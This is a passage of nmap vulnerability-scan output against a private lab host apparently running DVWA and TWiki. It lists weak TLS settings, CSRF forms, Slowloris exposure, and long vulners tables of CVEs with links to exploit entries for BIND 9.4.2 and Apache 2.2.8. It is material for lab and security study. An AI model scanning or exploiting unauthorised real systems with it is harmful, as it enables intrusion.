|           Modulus Source: postfix builtin
|           Modulus Length: 1024
|           Generator Length: 8
|           Public Key Length: 1024
|   References:
|       https://www.ietf.org/rfc/rfc2246.txt
|
|   Transport Layer Security (TLS) Protocol DHE_EXPORT Ciphers Downgrade MitM (Logjam)
|   State: VULNERABLE
|   IDs: CVE:CVE-2015-4000  BID:74733
|       The Transport Layer Security (TLS) protocol contains a flaw that is
|       triggered when handling Diffie-Hellman key exchanges defined with
|       the DHE_EXPORT cipher. This may allow a man-in-the-middle attacker
|       to downgrade the security of a TLS session to 512-bit export-grade
|       cryptography, which is significantly weaker, allowing the attacker
|       to more easily break the encryption and monitor or tamper with
|       the encrypted stream.
|   Disclosure date: 2015-5-19
|   Check results:
|       EXPORT-GRADE DH GROUP 1
|           Cipher Suite: TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA
|           Modulus Type: Safe prime
|           Modulus Source: Unknown/Custom-generated
|           Modulus Length: 512
|           Generator Length: 8
|           Public Key Length: 512
|   References:
|       https://weakdh.org
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4000
|       https://www.securityfocus.com/bid/74733
|
|   Diffie-Hellman Key Exchange Insufficient Group Strength
|   State: VULNERABLE
|       Transport Layer Security (TLS) services that use Diffie-Hellman groups
|       of insufficient strength, especially those using one of a few commonly
|       shared groups, may be susceptible to passive eavesdropping attacks.
|   Check results:
|       WEAK DH GROUP 1
|           Cipher Suite: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
|           Modulus Type: Safe prime
```

```

|           Modulus Source: postfix builtin
|           Modulus Length: 1024
|           Generator Length: 8
|           Public Key Length: 1024
|
|   References:
|_   https://weakdh.org
|_sslsv2-drown: ERROR: Script execution failed (use -d to debug)
| ssl-poodle:
|   VULNERABLE:
|   SSL POODLE information leak
|   State: VULNERABLE
|   IDs: CVE:CVE-2014-3566 BID:70574
|   The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and other
|   products, uses nondeterministic CBC padding, which makes it easier
|   for man-in-the-middle attackers to obtain cleartext data via a
|   padding-oracle attack, aka the "POODLE" issue.
|   Disclosure date: 2014-10-14
|   Check results:
|   TLS_RSA_WITH_AES_128_CBC_SHA
|   References:
|   https://www.openssl.org/~bodo/ssl-poodle.pdf
|   https://www.securityfocus.com/bid/70574
|   https://www.imperialviolet.org/2014/10/14/poodle.html
|_   https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3566
|_smtp-vuln-cve2010-4344:
|_The SMTP server is not Exim: NOT VULNERABLE
53/tcp open domain      ISC BIND 9.4.2
| vulners:
|   cpe:/a:isc:bind:9.4.2:
|       SSV:2853          10.0    https://vulners.com/seebug/SSV:2853      *EXPLOIT*
|       CVE-2008-0122     10.0    https://vulners.com/cve/CVE-2008-0122
|       CVE-2021-25216    9.8     https://vulners.com/cve/CVE-2021-25216
|       CVE-2020-8616     8.6     https://vulners.com/cve/CVE-2020-8616
|       CVE-2016-1286     8.6     https://vulners.com/cve/CVE-2016-1286
|       CNVD-2020-34454   8.6     https://vulners.com/cnvd/CNVD-2020-34454
|       SSV:60184         8.5     https://vulners.com/seebug/SSV:60184      *EXPLOIT*
|       CVE-2012-1667     8.5     https://vulners.com/cve/CVE-2012-1667
|       SSV:60292         7.8     https://vulners.com/seebug/SSV:60292      *EXPLOIT*
|       PACKETSTORM:180552 7.8
https://vulners.com/packetstorm/PACKETSTORM:180552      *EXPLOIT*
|       PACKETSTORM:180551 7.8
https://vulners.com/packetstorm/PACKETSTORM:180551      *EXPLOIT*
|       PACKETSTORM:138960 7.8
https://vulners.com/packetstorm/PACKETSTORM:138960      *EXPLOIT*
|       PACKETSTORM:132926 7.8
https://vulners.com/packetstorm/PACKETSTORM:132926      *EXPLOIT*
|       MSF:AUXILIARY-DOS-DNS-BIND_TKEY- 7.8
https://vulners.com/metasploit/MSF:AUXILIARY-DOS-DNS-BIND_TKEY- *EXPLOIT*
|       EXPLOITPACK:BE4F638B632EA0754155A27ECC4B3D3F 7.8
https://vulners.com/exploitpack/EXPLOITPACK:BE4F638B632EA0754155A27ECC4B3D3F
*EXPLOIT*
|       EXPLOITPACK:46DEBFAC850194C04C54F93E0DFF5F4F 7.8
https://vulners.com/exploitpack/EXPLOITPACK:46DEBFAC850194C04C54F93E0DFF5F4F
*EXPLOIT*

```

```

|      EXPLOITPACK:09762DB0197BBAAAB6FC79F24F0D2A74      7.8
https://vulners.com/exploitpack/EXPLOITPACK:09762DB0197BBAAAB6FC79F24F0D2A74
*EXPLOIT*
|      EDB-ID:42121      7.8      https://vulners.com/exploitdb/EDB-ID:42121
*EXPLOIT*
|      EDB-ID:40453      7.8      https://vulners.com/exploitdb/EDB-ID:40453
*EXPLOIT*
|      EDB-ID:37723      7.8      https://vulners.com/exploitdb/EDB-ID:37723
*EXPLOIT*
|      EDB-ID:37721      7.8      https://vulners.com/exploitdb/EDB-ID:37721
*EXPLOIT*
|      E183E822-9005-5F4E-B024-D9C4761AE308      7.8
https://vulners.com/githubexploit/E183E822-9005-5F4E-B024-D9C4761AE308 *EXPLOIT*
|      CVE-2017-3141      7.8      https://vulners.com/cve/CVE-2017-3141
|      CVE-2016-2776      7.8      https://vulners.com/cve/CVE-2016-2776
|      CVE-2015-5722      7.8      https://vulners.com/cve/CVE-2015-5722
|      CVE-2015-5477      7.8      https://vulners.com/cve/CVE-2015-5477
|      CVE-2014-8500      7.8      https://vulners.com/cve/CVE-2014-8500
|      CVE-2012-5166      7.8      https://vulners.com/cve/CVE-2012-5166
|      CVE-2012-4244      7.8      https://vulners.com/cve/CVE-2012-4244
|      CVE-2012-3817      7.8      https://vulners.com/cve/CVE-2012-3817
|      CVE-2008-4163      7.8      https://vulners.com/cve/CVE-2008-4163
|      7459D6A0-D6CA-5CD2-A484-5DD984C0E5E4      7.8
https://vulners.com/githubexploit/7459D6A0-D6CA-5CD2-A484-5DD984C0E5E4 *EXPLOIT*
|      673990FE-C5D5-5501-A342-D1AEC9F2A871      7.8
https://vulners.com/githubexploit/673990FE-C5D5-5501-A342-D1AEC9F2A871 *EXPLOIT*
|      1337DAY-ID-25325      7.8      https://vulners.com/zdt/1337DAY-ID-25325
*EXPLOIT*
|      1337DAY-ID-23970      7.8      https://vulners.com/zdt/1337DAY-ID-23970
*EXPLOIT*
|      1337DAY-ID-23960      7.8      https://vulners.com/zdt/1337DAY-ID-23960
*EXPLOIT*
|      1337DAY-ID-23948      7.8      https://vulners.com/zdt/1337DAY-ID-23948
*EXPLOIT*
|      CVE-2010-0382      7.6      https://vulners.com/cve/CVE-2010-0382
|      PACKETSTORM:180550      7.5
https://vulners.com/packetstorm/PACKETSTORM:180550 *EXPLOIT*
|      MSF:AUXILIARY-DOS-DNS-BIND_TSIG_BADTIME-      7.5
https://vulners.com/metasploit/MSF:AUXILIARY-DOS-DNS-BIND_TSIG_BADTIME- *EXPLOIT*
|      MSF:AUXILIARY-DOS-DNS-BIND_TSIG-      7.5
https://vulners.com/metasploit/MSF:AUXILIARY-DOS-DNS-BIND_TSIG- *EXPLOIT*
|      FBC03933-7A65-52F3-83F4-4B2253A490B6      7.5
https://vulners.com/githubexploit/FBC03933-7A65-52F3-83F4-4B2253A490B6 *EXPLOIT*
|      EDB-ID:48521      7.5      https://vulners.com/exploitdb/EDB-ID:48521
*EXPLOIT*
|      CVE-2026-3039      7.5      https://vulners.com/cve/CVE-2026-3039
|      CVE-2023-50868      7.5      https://vulners.com/cve/CVE-2023-50868
|      CVE-2023-50387      7.5      https://vulners.com/cve/CVE-2023-50387
|      CVE-2023-4408      7.5      https://vulners.com/cve/CVE-2023-4408
|      CVE-2023-3341      7.5      https://vulners.com/cve/CVE-2023-3341
|      CVE-2021-25215      7.5      https://vulners.com/cve/CVE-2021-25215
|      CVE-2020-8617      7.5      https://vulners.com/cve/CVE-2020-8617
|      CVE-2017-3145      7.5      https://vulners.com/cve/CVE-2017-3145
|      CVE-2017-3143      7.5      https://vulners.com/cve/CVE-2017-3143
|      CVE-2016-9444      7.5      https://vulners.com/cve/CVE-2016-9444

```

```

| CVE-2016-9131 7.5 https://vulners.com/cve/CVE-2016-9131
| CVE-2016-8864 7.5 https://vulners.com/cve/CVE-2016-8864
| CVE-2016-2848 7.5 https://vulners.com/cve/CVE-2016-2848
| CVE-2009-0265 7.5 https://vulners.com/cve/CVE-2009-0265
| CNVD-2017-12537 7.5 https://vulners.com/cnvd/CNVD-2017-12537
| 9ED8A03D-FE34-5F77-8C66-C03C9615AF07 7.5
https://vulners.com/gitee/9ED8A03D-FE34-5F77-8C66-C03C9615AF07 *EXPLOIT*
| 1337DAY-ID-34485 7.5 https://vulners.com/zdt/1337DAY-ID-34485
*EXPLOIT*
| EXPLOITPACK:D6DDF5E24DE171DAAD71FD95FC1B67F2 7.2
https://vulners.com/exploitpack/EXPLOITPACK:D6DDF5E24DE171DAAD71FD95FC1B67F2
*EXPLOIT*
| CVE-2015-8461 7.1 https://vulners.com/cve/CVE-2015-8461
| CVE-2015-5986 7.1 https://vulners.com/cve/CVE-2015-5986
| CVE-2015-8705 7.0 https://vulners.com/cve/CVE-2015-8705
| CVE-2016-1285 6.8 https://vulners.com/cve/CVE-2016-1285
| CVE-2015-8704 6.8 https://vulners.com/cve/CVE-2015-8704
| CVE-2009-0025 6.8 https://vulners.com/cve/CVE-2009-0025
| CVE-2020-8622 6.5 https://vulners.com/cve/CVE-2020-8622
| CVE-2018-5741 6.5 https://vulners.com/cve/CVE-2018-5741
| CVE-2016-6170 6.5 https://vulners.com/cve/CVE-2016-6170
| CVE-2010-3614 6.4 https://vulners.com/cve/CVE-2010-3614
| CVE-2016-2775 5.9 https://vulners.com/cve/CVE-2016-2775
| CVE-2022-2795 5.3 https://vulners.com/cve/CVE-2022-2795
| CVE-2021-25219 5.3 https://vulners.com/cve/CVE-2021-25219
| CVE-2017-3142 5.3 https://vulners.com/cve/CVE-2017-3142
| CNVD-2024-16843 5.3 https://vulners.com/cnvd/CNVD-2024-16843
| SSV:30099 5.0 https://vulners.com/seebug/SSV:30099 *EXPLOIT*
| SSV:20595 5.0 https://vulners.com/seebug/SSV:20595 *EXPLOIT*
| PACKETSTORM:157836 5.0
https://vulners.com/packetstorm/PACKETSTORM:157836 *EXPLOIT*
| CVE-2015-8000 5.0 https://vulners.com/cve/CVE-2015-8000
| CVE-2012-1033 5.0 https://vulners.com/cve/CVE-2012-1033
| CVE-2011-4313 5.0 https://vulners.com/cve/CVE-2011-4313
| CVE-2011-1910 5.0 https://vulners.com/cve/CVE-2011-1910
| SSV:11919 4.3 https://vulners.com/seebug/SSV:11919 *EXPLOIT*
| EDB-ID:9300 4.3 https://vulners.com/exploitdb/EDB-ID:9300
*EXPLOIT*
| CVE-2010-3762 4.3 https://vulners.com/cve/CVE-2010-3762
| CVE-2010-0097 4.3 https://vulners.com/cve/CVE-2010-0097
| CVE-2009-0696 4.3 https://vulners.com/cve/CVE-2009-0696
| CVE-2010-0290 4.0 https://vulners.com/cve/CVE-2010-0290
| SSV:14986 2.6 https://vulners.com/seebug/SSV:14986 *EXPLOIT*
| CVE-2009-4022 2.6 https://vulners.com/cve/CVE-2009-4022
| PACKETSTORM:142800 0.0
https://vulners.com/packetstorm/PACKETSTORM:142800 *EXPLOIT*
|_ 1337DAY-ID-27896 0.0 https://vulners.com/zdt/1337DAY-ID-27896
*EXPLOIT*
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
|_ http-dombased-xss: Couldn't find any DOM based XSS.
|_ http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
| http-csrf:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=10.99.99.2
| Found the following possible CSRF vulnerabilities:
|

```

```

| Path: http://10.99.99.2:80/dvwa/
| Form id:
| Form action: login.php
|
| Path: http://10.99.99.2:80/dvwa/login.php
| Form id:
| Form action: login.php
|
| Path: http://10.99.99.2:80/twiki/TWikiDocumentation.html
| Form id:
| Form action: http://TWiki.org/cgi-bin/passwd/TWiki/WebHome
|
| Path: http://10.99.99.2:80/twiki/TWikiDocumentation.html
| Form id:
| Form action: http://TWiki.org/cgi-bin/passwd/Main/WebHome
|
| Path: http://10.99.99.2:80/twiki/TWikiDocumentation.html
| Form id:
| Form action: http://TWiki.org/cgi-bin/edit/TWiki/
|
| Path: http://10.99.99.2:80/twiki/TWikiDocumentation.html
| Form id:
| Form action: http://TWiki.org/cgi-bin/view/TWiki/TWikiSkins
|
| Path: http://10.99.99.2:80/twiki/TWikiDocumentation.html
| Form id:
|_ Form action: http://TWiki.org/cgi-bin/manage/TWiki/ManagingWebs
|_http-trace: TRACE is enabled
|_http-sql-injection: ERROR: Script execution failed (use -d to debug)
| http-fileupload-exploiter:
|
|_ Couldn't find a file-type field.
| http-slowloris-check:
| VULNERABLE:
| Slowloris DOS attack
| State: LIKELY VULNERABLE
| IDs: CVE:CVE-2007-6750
| Slowloris tries to keep many connections to the target web server open and
hold
| them open as long as possible. It accomplishes this by opening connections to
| the target web server and sending a partial request. By doing so, it starves
| the http server's resources causing Denial Of Service.
|
| Disclosure date: 2009-09-17
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_ http://ha.ckers.org/slowloris/
| vulners:
| cpe:/a:apache:http_server:2.2.8:
| SSV:69341 10.0 https://vulners.com/seebug/SSV:69341 *EXPLOIT*
| SSV:19282 10.0 https://vulners.com/seebug/SSV:19282 *EXPLOIT*
| SSV:19236 10.0 https://vulners.com/seebug/SSV:19236 *EXPLOIT*
| SSV:11999 10.0 https://vulners.com/seebug/SSV:11999 *EXPLOIT*
| PACKETSTORM:86964 10.0
https://vulners.com/packetstorm/PACKETSTORM:86964 *EXPLOIT*

```

```
|      PACKETSTORM:180533      10.0
https://vulners.com/packetstorm/PACKETSTORM:180533      *EXPLOIT*
|      MSF:AUXILIARY-DOS-HTTP-APACHE_MOD_ISAPI-      10.0
https://vulners.com/metasploit/MSF:AUXILIARY-DOS-HTTP-APACHE_MOD_ISAPI- *EXPLOIT*
|      HTTPD:E74B6F3660D13C4DD05DF3A83EA61631  10.0
https://vulners.com/httpd/HTTPD:E74B6F3660D13C4DD05DF3A83EA61631
|      HTTPD:81180E4E634CDECC9784146016B4A949  10.0
https://vulners.com/httpd/HTTPD:81180E4E634CDECC9784146016B4A949
|      EXPLOITPACK:30ED468EC8BD5B71B2CB93825A852B80  10.0
https://vulners.com/exploitpack/EXPLOITPACK:30ED468EC8BD5B71B2CB93825A852B80
*EXPLOIT*
|      EDB-ID:14288      10.0      https://vulners.com/exploitdb/EDB-ID:14288
*EXPLOIT*
|      EDB-ID:11650      10.0      https://vulners.com/exploitdb/EDB-ID:11650
*EXPLOIT*
|      CVE-2010-0425      10.0      https://vulners.com/cve/CVE-2010-0425
|      A41BDBAB-C86F-56F2-B9E8-709503C4D553      10.0
https://vulners.com/githubexploit/A41BDBAB-C86F-56F2-B9E8-709503C4D553 *EXPLOIT*
|      3E6BA608-776F-5B1F-9BA5-589CD2A5A351      10.0
https://vulners.com/gitee/3E6BA608-776F-5B1F-9BA5-589CD2A5A351 *EXPLOIT*
|      PACKETSTORM:171631      9.8
https://vulners.com/packetstorm/PACKETSTORM:171631      *EXPLOIT*
|      HTTPD:E69E9574251973D5AF93FA9D04997FC1  9.8
https://vulners.com/httpd/HTTPD:E69E9574251973D5AF93FA9D04997FC1
|      HTTPD:E162D3AE025639FEE2A89D5AF40ABF2F  9.8
https://vulners.com/httpd/HTTPD:E162D3AE025639FEE2A89D5AF40ABF2F
|      HTTPD:C072933AA965A86DA3E2C9172FFC1569  9.8
https://vulners.com/httpd/HTTPD:C072933AA965A86DA3E2C9172FFC1569
|      HTTPD:A1BBCE110E077FFBF4469D4F06DB9293  9.8
https://vulners.com/httpd/HTTPD:A1BBCE110E077FFBF4469D4F06DB9293
|      HTTPD:A09F9CEBE0B7C39EDA0480FEAEF4FE9D  9.8
https://vulners.com/httpd/HTTPD:A09F9CEBE0B7C39EDA0480FEAEF4FE9D
|      HTTPD:9F5406E0F4A0B007A0A4C9C92EF9813B  9.8
https://vulners.com/httpd/HTTPD:9F5406E0F4A0B007A0A4C9C92EF9813B
|      HTTPD:9BCBE3C14201AFC4B0F36F15CB40C0F8  9.8
https://vulners.com/httpd/HTTPD:9BCBE3C14201AFC4B0F36F15CB40C0F8
|      HTTPD:2BE0032A6ABE7CC52906DBAAFE0E448E  9.8
https://vulners.com/httpd/HTTPD:2BE0032A6ABE7CC52906DBAAFE0E448E
|      EDB-ID:51193      9.8      https://vulners.com/exploitdb/EDB-ID:51193
*EXPLOIT*
|      EDB-ID:10579      9.8      https://vulners.com/exploitdb/EDB-ID:10579
*EXPLOIT*
|      EDB-ID:10071      9.8      https://vulners.com/exploitdb/EDB-ID:10071
*EXPLOIT*
|      ECC3E825-EE29-59D3-BE28-1B30DB15940E      9.8
https://vulners.com/githubexploit/ECC3E825-EE29-59D3-BE28-1B30DB15940E *EXPLOIT*
|      D5084D51-C8DF-5CBA-BC26-ACF2E33F8E52      9.8
https://vulners.com/githubexploit/D5084D51-C8DF-5CBA-BC26-ACF2E33F8E52 *EXPLOIT*
|      CVE-2026-28780  9.8      https://vulners.com/cve/CVE-2026-28780
|      CVE-2024-38476  9.8      https://vulners.com/cve/CVE-2024-38476
|      CVE-2022-31813  9.8      https://vulners.com/cve/CVE-2022-31813
|      CVE-2022-22720  9.8      https://vulners.com/cve/CVE-2022-22720
|      CVE-2021-44790  9.8      https://vulners.com/cve/CVE-2021-44790
|      CVE-2021-39275  9.8      https://vulners.com/cve/CVE-2021-39275
|      CVE-2018-1312   9.8      https://vulners.com/cve/CVE-2018-1312
```

```
| CVE-2017-7679 9.8 https://vulners.com/cve/CVE-2017-7679
| CVE-2017-3169 9.8 https://vulners.com/cve/CVE-2017-3169
| CVE-2017-3167 9.8 https://vulners.com/cve/CVE-2017-3167
| CVE-2009-3555 9.8 https://vulners.com/cve/CVE-2009-3555
| CNVD-2022-51061 9.8 https://vulners.com/cnvd/CNVD-2022-51061
| CNVD-2022-03225 9.8 https://vulners.com/cnvd/CNVD-2022-03225
| CNVD-2021-102386 9.8 https://vulners.com/cnvd/CNVD-2021-102386
| B6297446-2DDD-52BA-B508-29A748A5D2CC 9.8
https://vulners.com/githubexploit/B6297446-2DDD-52BA-B508-29A748A5D2CC *EXPLOIT*
| 1337DAY-ID-38427 9.8 https://vulners.com/zdt/1337DAY-ID-38427
*EXPLOIT*
| 0DB60346-03B6-5FEE-93D7-FF5757D225AA 9.8
https://vulners.com/gitee/0DB60346-03B6-5FEE-93D7-FF5757D225AA *EXPLOIT*
| HTTPD:509B04B8CC51879DD0A561AC4FDBE0A6 9.1
https://vulners.com/httpd/HTTPD:509B04B8CC51879DD0A561AC4FDBE0A6
| HTTPD:459EB8D98503A2460C9445C5B224979E 9.1
https://vulners.com/httpd/HTTPD:459EB8D98503A2460C9445C5B224979E
| HTTPD:2C227652EE0B3B961706AAFCACA3D1E1 9.1
https://vulners.com/httpd/HTTPD:2C227652EE0B3B961706AAFCACA3D1E1
| FD2EE3A5-BAEA-5845-BA35-E6889992214F 9.1
https://vulners.com/githubexploit/FD2EE3A5-BAEA-5845-BA35-E6889992214F *EXPLOIT*
| FBC8A8BE-F00A-5B6D-832E-F99A72E7A3F7 9.1
https://vulners.com/githubexploit/FBC8A8BE-F00A-5B6D-832E-F99A72E7A3F7 *EXPLOIT*
| E606D7F4-5FA2-5907-B30E-367D6FFECD89 9.1
https://vulners.com/githubexploit/E606D7F4-5FA2-5907-B30E-367D6FFECD89 *EXPLOIT*
| D8A19443-2A37-5592-8955-F614504AAF45 9.1
https://vulners.com/githubexploit/D8A19443-2A37-5592-8955-F614504AAF45 *EXPLOIT*
| CVE-2026-42535 9.1 https://vulners.com/cve/CVE-2026-42535
| CVE-2024-40898 9.1 https://vulners.com/cve/CVE-2024-40898
| CVE-2022-28615 9.1 https://vulners.com/cve/CVE-2022-28615
| CVE-2022-22721 9.1 https://vulners.com/cve/CVE-2022-22721
| CVE-2017-9788 9.1 https://vulners.com/cve/CVE-2017-9788
| CNVD-2022-51060 9.1 https://vulners.com/cnvd/CNVD-2022-51060
| CNVD-2022-41638 9.1 https://vulners.com/cnvd/CNVD-2022-41638
| B5E74010-A082-5ECE-AB37-623A5B33FE7D 9.1
https://vulners.com/githubexploit/B5E74010-A082-5ECE-AB37-623A5B33FE7D *EXPLOIT*
| HTTPD:1B3D546A8500818AAC5B1359FE11A7E4 9.0
https://vulners.com/httpd/HTTPD:1B3D546A8500818AAC5B1359FE11A7E4
| CVE-2021-40438 9.0 https://vulners.com/cve/CVE-2021-40438
| CNVD-2022-03224 9.0 https://vulners.com/cnvd/CNVD-2022-03224
| AE3EF1CC-A0C3-5CB7-A6EF-4DAAFA59C8C 9.0
https://vulners.com/githubexploit/AE3EF1CC-A0C3-5CB7-A6EF-4DAAFA59C8C *EXPLOIT*
| 9D9B3F4D-6B5C-5377-BE39-F1C432C9E457 9.0
https://vulners.com/githubexploit/9D9B3F4D-6B5C-5377-BE39-F1C432C9E457 *EXPLOIT*
| 8AFB43C5-ABD4-52AD-BB19-24D7884FF2A2 9.0
https://vulners.com/githubexploit/8AFB43C5-ABD4-52AD-BB19-24D7884FF2A2 *EXPLOIT*
| 7F48C6CF-47B2-5AF9-B6FD-1735FB2A95B2 9.0
https://vulners.com/githubexploit/7F48C6CF-47B2-5AF9-B6FD-1735FB2A95B2 *EXPLOIT*
| 36618CA8-9316-59CA-B748-82F15F407C4F 9.0
https://vulners.com/githubexploit/36618CA8-9316-59CA-B748-82F15F407C4F *EXPLOIT*
| CVE-2026-24072 8.8 https://vulners.com/cve/CVE-2026-24072
| 40379BCA-07F4-5401-B618-4640793D350D 8.8
https://vulners.com/githubexploit/40379BCA-07F4-5401-B618-4640793D350D *EXPLOIT*
| CVE-2025-58098 8.3 https://vulners.com/cve/CVE-2025-58098
| CNVD-2021-102387 8.2 https://vulners.com/cnvd/CNVD-2021-102387
```

```

|      B0A9E5E8-7CCC-5984-9922-A89F11D6BF38      8.2
https://vulners.com/githubexploit/B0A9E5E8-7CCC-5984-9922-A89F11D6BF38  *EXPLOIT*
|      HTTPD:30E0EE442FF4843665FED4FBCA25406A      8.1
https://vulners.com/httpd/HTTPD:30E0EE442FF4843665FED4FBCA25406A
|      CVE-2016-5387      8.1      https://vulners.com/cve/CVE-2016-5387
|      CNVD-2016-04948      8.1      https://vulners.com/cnvd/CNVD-2016-04948
|      SSV:72403      7.8      https://vulners.com/seebug/SSV:72403      *EXPLOIT*
|      SSV:2820      7.8      https://vulners.com/seebug/SSV:2820      *EXPLOIT*
|      SSV:26043      7.8      https://vulners.com/seebug/SSV:26043      *EXPLOIT*
|      SSV:20899      7.8      https://vulners.com/seebug/SSV:20899      *EXPLOIT*
|      SSV:11569      7.8      https://vulners.com/seebug/SSV:11569      *EXPLOIT*
|      PACKETSTORM:180517      7.8
https://vulners.com/packetstorm/PACKETSTORM:180517      *EXPLOIT*
|      PACKETSTORM:126851      7.8
https://vulners.com/packetstorm/PACKETSTORM:126851      *EXPLOIT*
|      PACKETSTORM:123527      7.8
https://vulners.com/packetstorm/PACKETSTORM:123527      *EXPLOIT*
|      PACKETSTORM:122962      7.8
https://vulners.com/packetstorm/PACKETSTORM:122962      *EXPLOIT*
|      MSF:AUXILIARY-DOS-HTTP-APACHE_RANGE_DOS-      7.8
https://vulners.com/metasploit/MSF:AUXILIARY-DOS-HTTP-APACHE_RANGE_DOS- *EXPLOIT*
|      HTTPD:556E7FA885F1BEDB6E3D9AAB5665198F      7.8
https://vulners.com/httpd/HTTPD:556E7FA885F1BEDB6E3D9AAB5665198F
|      EXPLOITPACK:186B5FCF5C57B52642E62C06BABC6F83      7.8
https://vulners.com/exploitpack/EXPLOITPACK:186B5FCF5C57B52642E62C06BABC6F83
*EXPLOIT*
|      EDB-ID:18221      7.8      https://vulners.com/exploitdb/EDB-ID:18221
*EXPLOIT*
|      EDB-ID:17696      7.8      https://vulners.com/exploitdb/EDB-ID:17696
*EXPLOIT*
|      CVE-2011-3192      7.8      https://vulners.com/cve/CVE-2011-3192
|      C76F17FD-A21F-5E67-97D8-51A53B9594C1      7.8
https://vulners.com/githubexploit/C76F17FD-A21F-5E67-97D8-51A53B9594C1  *EXPLOIT*
|      4F94F3CE-6A41-5E04-A51B-4D22ED6CF210      7.8
https://vulners.com/githubexploit/4F94F3CE-6A41-5E04-A51B-4D22ED6CF210  *EXPLOIT*
|      1337DAY-ID-21170      7.8      https://vulners.com/zdt/1337DAY-ID-21170
*EXPLOIT*
|      SSV:12673      7.5      https://vulners.com/seebug/SSV:12673      *EXPLOIT*
|      SSV:12626      7.5      https://vulners.com/seebug/SSV:12626      *EXPLOIT*
|      PACKETSTORM:181038      7.5
https://vulners.com/packetstorm/PACKETSTORM:181038      *EXPLOIT*
|      MSF:AUXILIARY-SCANNER-HTTP-APACHE_OPTIONSBLEED- 7.5
https://vulners.com/metasploit/MSF:AUXILIARY-SCANNER-HTTP-APACHE_OPTIONSBLEED-
*EXPLOIT*
|      HTTPD:F1CFBC9B54DFAD0499179863D36830BB      7.5
https://vulners.com/httpd/HTTPD:F1CFBC9B54DFAD0499179863D36830BB
|      HTTPD:C317C7138B4A8BBD54A901D6DDDCB837      7.5
https://vulners.com/httpd/HTTPD:C317C7138B4A8BBD54A901D6DDDCB837
|      HTTPD:C1F57FDC580B58497A5EC5B7D3749F2F      7.5
https://vulners.com/httpd/HTTPD:C1F57FDC580B58497A5EC5B7D3749F2F
|      HTTPD:C0856723C0FBF5502E1378536B484C09      7.5
https://vulners.com/httpd/HTTPD:C0856723C0FBF5502E1378536B484C09
|      HTTPD:BEF84406F2FB3CB90F1C555BEFF774E2      7.5
https://vulners.com/httpd/HTTPD:BEF84406F2FB3CB90F1C555BEFF774E2

```

```

| HTTPD:B1B0A31C4AD388CC6C575931414173E2 7.5
https://vulners.com/httpd/HTTPD:B1B0A31C4AD388CC6C575931414173E2
| HTTPD:7DDAAFDB1FD8B2E7FD36ADABA5DB6DAA 7.5
https://vulners.com/httpd/HTTPD:7DDAAFDB1FD8B2E7FD36ADABA5DB6DAA
| HTTPD:5E6BCDB2F7C53E4EDCE844709D930AF5 7.5
https://vulners.com/httpd/HTTPD:5E6BCDB2F7C53E4EDCE844709D930AF5
| HTTPD:5227799CC4172DBFA895A4F581F74C11 7.5
https://vulners.com/httpd/HTTPD:5227799CC4172DBFA895A4F581F74C11
| EDB-ID:8842 7.5 https://vulners.com/exploitdb/EDB-ID:8842
*EXPLOIT*
| EDB-ID:42745 7.5 https://vulners.com/exploitdb/EDB-ID:42745
*EXPLOIT*
| CVE-2026-34059 7.5 https://vulners.com/cve/CVE-2026-34059
| CVE-2026-29169 7.5 https://vulners.com/cve/CVE-2026-29169
| CVE-2023-31122 7.5 https://vulners.com/cve/CVE-2023-31122
| CVE-2022-30556 7.5 https://vulners.com/cve/CVE-2022-30556
| CVE-2022-29404 7.5 https://vulners.com/cve/CVE-2022-29404
| CVE-2022-22719 7.5 https://vulners.com/cve/CVE-2022-22719
| CVE-2021-34798 7.5 https://vulners.com/cve/CVE-2021-34798
| CVE-2018-8011 7.5 https://vulners.com/cve/CVE-2018-8011
| CVE-2018-1303 7.5 https://vulners.com/cve/CVE-2018-1303
| CVE-2017-9798 7.5 https://vulners.com/cve/CVE-2017-9798
| CVE-2017-15710 7.5 https://vulners.com/cve/CVE-2017-15710
| CVE-2016-8743 7.5 https://vulners.com/cve/CVE-2016-8743
| CVE-2009-2699 7.5 https://vulners.com/cve/CVE-2009-2699
| CVE-2009-1955 7.5 https://vulners.com/cve/CVE-2009-1955
| CVE-2006-20001 7.5 https://vulners.com/cve/CVE-2006-20001
| CNVD-2025-30836 7.5 https://vulners.com/cnvd/CNVD-2025-30836
| CNVD-2025-16614 7.5 https://vulners.com/cnvd/CNVD-2025-16614
| CNVD-2024-20839 7.5 https://vulners.com/cnvd/CNVD-2024-20839
| CNVD-2023-93320 7.5 https://vulners.com/cnvd/CNVD-2023-93320
| CNVD-2023-80558 7.5 https://vulners.com/cnvd/CNVD-2023-80558
| CNVD-2022-53584 7.5 https://vulners.com/cnvd/CNVD-2022-53584
| CNVD-2022-41639 7.5 https://vulners.com/cnvd/CNVD-2022-41639
| CNVD-2022-03223 7.5 https://vulners.com/cnvd/CNVD-2022-03223
| CNVD-2019-41283 7.5 https://vulners.com/cnvd/CNVD-2019-41283
| CNVD-2017-13906 7.5 https://vulners.com/cnvd/CNVD-2017-13906
| CNVD-2016-13233 7.5 https://vulners.com/cnvd/CNVD-2016-13233
| CNVD-2016-13232 7.5 https://vulners.com/cnvd/CNVD-2016-13232
| CD6A79B3-8167-5CFD-9FCB-6986FDF0BE1A 7.5
https://vulners.com/githubexploit/CD6A79B3-8167-5CFD-9FCB-6986FDF0BE1A *EXPLOIT*
| A0F268C8-7319-5637-82F7-8DAF72D14629 7.5
https://vulners.com/githubexploit/A0F268C8-7319-5637-82F7-8DAF72D14629 *EXPLOIT*
| 857E0BF8-9A29-54C5-82EA-8D7C0798CAA6 7.5
https://vulners.com/githubexploit/857E0BF8-9A29-54C5-82EA-8D7C0798CAA6 *EXPLOIT*
| 45D138AD-BEC6-552A-91EA-8816914CA7F4 7.5
https://vulners.com/githubexploit/45D138AD-BEC6-552A-91EA-8816914CA7F4 *EXPLOIT*
| CVE-2025-49812 7.4 https://vulners.com/cve/CVE-2025-49812
| CVE-2023-38709 7.3 https://vulners.com/cve/CVE-2023-38709
| CNVD-2024-36395 7.3 https://vulners.com/cnvd/CNVD-2024-36395
| SSV:11802 7.1 https://vulners.com/seebug/SSV:11802 *EXPLOIT*
